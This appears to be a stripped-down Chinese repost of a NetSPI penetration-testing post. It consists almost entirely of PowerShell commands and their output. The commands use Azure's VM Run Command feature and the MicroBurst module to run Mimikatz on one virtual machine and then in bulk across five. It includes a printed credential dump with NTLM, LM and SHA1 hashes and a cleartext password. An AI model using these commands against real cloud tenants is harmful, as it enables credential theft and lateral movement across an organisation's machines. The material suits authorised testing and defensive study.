2019-02-14 15:57:057181人阅读
Invoke-AzureRmVMRunCommand -ResourceGroupName VMResourceGroupName -VMName VMName -CommandId RunPowerShellScript -ScriptPath PathToYourScript
PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name ResourceGroupName Name ----------------- ---- TESTRESOURCES Remote-Test
PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1 Value[0] : Code : ComponentStatus/StdOut/succeeded Level : Info DisplayStatus : Provisioning succeeded Message : .#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 15 modules * * */ mimikatz(powershell) # sekurlsa::logonpasswords Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : NetSPI-Test Domain : WORKGROUP SID : S-1-5-20 msv : [00000003] Primary * Username : NetSPI-Test * Domain : WORKGROUP * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 tspkg : * Username : NetSPI-Test * Domain : WORKGROUP * Password : waza1234/ mimikatz(powershell) # exit Bye! Value[1] : Code : ComponentStatus/StdErr/succeeded Level : Info DisplayStatus : Provisioning succeeded Message : Status : Succeeded Capacity : 0 Count : 0
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt Executing Mimikatz.ps1 against all (5) VMs in the TestingResources Subscription Are you Sure You Want To Proceed: (Y/n): VERBOSE: Running .\Mimikatz.ps1 on the Remote-EastUS2 - (10.2.10.4 : 52.179.214.3) virtual machine (1 of 5) VERBOSE: Script Status: Succeeded VERBOSE: Script output written to Output.txt VERBOSE: Script Execution Completed on Remote-EastUS2 - (10.2.10.4 : 52.179.214.3) VERBOSE: Script Execution Completed in 99 seconds VERBOSE: Running .\Mimikatz.ps1 on the Remote-EAsia - (10.2.9.4 : 65.52.161.96) virtual machine (2 of 5) VERBOSE: Script Status: Succeeded VERBOSE: Script output written to Output.txt VERBOSE: Script Execution Completed on Remote-EAsia - (10.2.9.4 : 65.52.161.96) VERBOSE: Script Execution Completed in 99 seconds VERBOSE: Running .\Mimikatz.ps1 on the Remote-JapanE - (10.2.12.4 : 13.78.40.185) virtual machine (3 of 5) VERBOSE: Script Status: Succeeded VERBOSE: Script output written to Output.txt VERBOSE: Script Execution Completed on Remote-JapanE - (10.2.12.4 : 13.78.40.185) VERBOSE: Script Execution Completed in 69 seconds VERBOSE: Running .\Mimikatz.ps1 on the Remote-JapanW - (10.2.13.4 : 40.74.66.153) virtual machine (4 of 5) VERBOSE: Script Status: Succeeded VERBOSE: Script output written to Output.txt VERBOSE: Script Execution Completed on Remote-JapanW - (10.2.13.4 : 40.74.66.153) VERBOSE: Script Execution Completed in 69 seconds VERBOSE: Running .\Mimikatz.ps1 on the Remote-France - (10.2.11.4 : 40.89.130.206) virtual machine (5 of 5) VERBOSE: Script Status: Succeeded VERBOSE: Script output written to Output.txt VERBOSE: Script Execution Completed on Remote-France - (10.2.11.4 : 40.89.130.206) VERBOSE: Script Execution Completed in 98 seconds
本文翻译自:https://blog.netspi.com/running-powershell-scripts-on-azure-vms/
翻译作者:41yf1sh 原文地址:http://www.4hou.com/technology/14447.html